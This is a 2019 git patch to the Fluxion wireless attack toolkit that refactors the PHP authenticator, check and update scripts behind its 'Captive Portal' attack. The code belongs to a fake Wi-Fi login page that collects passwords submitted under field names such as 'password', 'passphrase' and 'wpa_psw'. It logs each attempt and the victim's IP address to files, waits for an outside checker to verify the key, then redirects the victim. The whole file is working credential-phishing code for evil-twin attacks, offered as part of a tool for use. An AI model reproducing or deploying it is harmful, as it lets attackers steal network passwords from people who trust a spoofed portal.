From a2b32f4febb9a9a609e98ca375772231f5300f11 Mon Sep 17 00:00:00 2001
From: Matias Barcenas <MPX.4132@Gmail.com>
Date: Sun, 26 May 2019 21:38:00 -0500
Subject: [PATCH] Improved identifiers & sequencing.

---
 attacks/Captive Portal/lib/authenticator.php | 113 ++++++++++---------
 attacks/Captive Portal/lib/check.php         |   2 +-
 attacks/Captive Portal/lib/update.php        |   2 +-
 3 files changed, 63 insertions(+), 54 deletions(-)

diff --git a/attacks/Captive Portal/lib/authenticator.php b/attacks/Captive Portal/lib/authenticator.php
index 885ae90..c2bd495 100644
--- a/attacks/Captive Portal/lib/authenticator.php	
+++ b/attacks/Captive Portal/lib/authenticator.php	
@@ -1,67 +1,76 @@
 <?php
-	error_reporting(0);
+  error_reporting(0);
 
-	/*
-		The following represents the authenticator result.
-		By default, we assume the password is incorrect.
+  // Store get & post data to variables.
+  $candidate_key_fields = array(
+    "password",
+    "password1",
+    "passphrase",
+    "key",
+    "key1",
+    "wpa",
+    "wpa_psw");
 
-		Notice: This variable is used by files including
-		this script, and by the authenticator itself below.
-	 */
-	$candidate_code = 0;
+  // Get array of keys matching any in $candidate_key_fields.
+  $candidate_key_fields_matches = array_intersect_key($_POST, array_flip($candidate_key_fields));
 
-	// Receive get & post data and store to variables
-	$candidateKeyFields = array("password", "password1", "passphrase", "key", "key1", "wpa", "wpa_psw");
-	$matches = array_intersect_key($_POST, array_flip($candidateKeyFields));
+  // Retrieve just the first matched value.
+  $candidate_key = reset($candidate_key_fields_matches);
 
-	// Retrieve just the first matched value
-	$key = reset($matches);
+  // The following varible represents the authenticator result.
+  // By default, we assume the password is incorrect (value 0).
+  // WARNING: The variable below is used by external scripts.
+  // That means it MUST be defined before exiting returning.
+  $candidate_key_result = 0;
 
-	// No password was given
-	if(empty($key)) return;
+  // Attempt verification only if a key exists.
+  if(!empty($candidate_key))
+  {
+    // Increment hit attempts.
+    $page_hits_log_path = ("$FLUXIONWorkspacePath/hit.txt");
+    $page_hits = file($page_hits_log_path)[0] + 1;
+    $page_hits_log = fopen($page_hits_log_path, "w");
+    fputs($page_hits_log, $page_hits);
+    fclose($page_hits_log);
 
-	// Update hit attempts
-	$page_hits_log_path = ("$FLUXIONWorkspacePath/hit.txt");
-	$page_hits = file($page_hits_log_path)[0] + 1;
-	$page_hits_log = fopen($page_hits_log_path, "w");
-	fputs($page_hits_log, $page_hits);
-	fclose($page_hits_log);
+    // Prepare candidate, and attempt, passwords files' locations.
+    // Notice: The values in the strings below will be substituted
+    // by the script once the autheticator script is deployed.
+    $attempt_log_path = "$FLUXIONWorkspacePath/pwdattempt.txt";
+    $candidate_key_path = "$FLUXIONWorkspacePath/candidate.txt";
 
-	// Prepare candidate and attempt passwords files' locations.
-	$attempt_log_path = "$FLUXIONWorkspacePath/pwdattempt.txt";
-	$candidate_path = "$FLUXIONWorkspacePath/candidate.txt";
+    $attempt_log_file = fopen($attempt_log_path, "w");
+    fwrite($attempt_log_file, $candidate_key);
+    fwrite($attempt_log_file, "\n");
+    fclose($attempt_log_file);
 
-	$attempt_log = fopen($attempt_log_path, "w");
-	fwrite($attempt_log, $key);
-	fwrite($attempt_log, "\n");
-	fclose($attempt_log);
+    // Write candidate key to file to prep for checking.
+    $candidate_key_file = fopen($candidate_key_path, "w");
+    fwrite($candidate_key_file, $candidate_key);
+    fwrite($candidate_key_file, "\n");
+    fclose($candidate_key_file);
 
-	// Write candidate key to file to prep for checking.
-	$candidate = fopen($candidate_path, "w");
-	fwrite($candidate, $key);
-	fwrite($candidate, "\n");
-	fclose($candidate);
+    // Prepare clients IP log path, and client IP.
+    $clients_IP_log_path = "/tmp/fluxspace/ip_hits";
+    $client_IP = $_SERVER['REMOTE_ADDR'];
 
-	$candidate_result_path = "$FLUXIONWorkspacePath/candidate_result.txt";
+    // Write client IP to log file.
+    $clients_IP_file = fopen($clients_IP_log_path, "w");
+    fwrite($clients_IP_file, $client_IP);
+    fclose($clients_IP_file);
 
-	// Define variables
-	$client_ip_path = "/tmp/fluxspace/ip_hits";
-	$client_ip = $_SERVER['REMOTE_ADDR'];
-	
-	// Write ip to file
-	$c = fopen($client_ip_path, "w");
-	fwrite($c,$client_ip);
-	fclose($c);
+    $candidate_key_result_path = "$FLUXIONWorkspacePath/candidate_result.txt";
 
-	// Create candidate result file to trigger checking.
-	$candidate_result = fopen($candidate_result_path, "w");
-	fwrite($candidate_result,"\n");
-	fclose($candidate_result);
+    // Create candidate result file to trigger checking.
+    $candidate_key_result_file = fopen($candidate_key_result_path, "w");
+    fwrite($candidate_key_result_file,"\n");
+    fclose($candidate_key_result_file);
 
-	do {
-		sleep(1);
-		$candidate_code = trim(file_get_contents($candidate_result_path));
-	} while (!ctype_digit($candidate_code));
+    do {
+      sleep(1);
+      $candidate_key_result = trim(file_get_contents($candidate_key_result_path));
+    } while (!ctype_digit($candidate_key_result));
 
-	// Reset file by deleting it.
-	unlink($candidate_result_path);
+    // Reset file by deleting it.
+    unlink($candidate_key_result_path);
+  }
diff --git a/attacks/Captive Portal/lib/check.php b/attacks/Captive Portal/lib/check.php
index 09f1d63..c7d0b39 100644
--- a/attacks/Captive Portal/lib/check.php	
+++ b/attacks/Captive Portal/lib/check.php	
@@ -1,7 +1,7 @@
 <?php
 	require_once("authenticator.php");
 
-	switch ($candidate_code) {
+	switch ($candidate_key_result) {
 		# case "1": header("Location:error.html"); break;
 		case "2": header("Location:final.html"); break;
 		default: header("Location:error.html"); break;
diff --git a/attacks/Captive Portal/lib/update.php b/attacks/Captive Portal/lib/update.php
index 53afc0d..08c3242 100644
--- a/attacks/Captive Portal/lib/update.php	
+++ b/attacks/Captive Portal/lib/update.php	
@@ -1,7 +1,7 @@
 <?php
 	require_once("authenticator.php");
 
-	switch ($candidate_code) {
+	switch ($candidate_key_result) {
 		# case "1": echo ""; break;
 		case "2": echo "authenticated"; break;
 		# default: echo ""; break;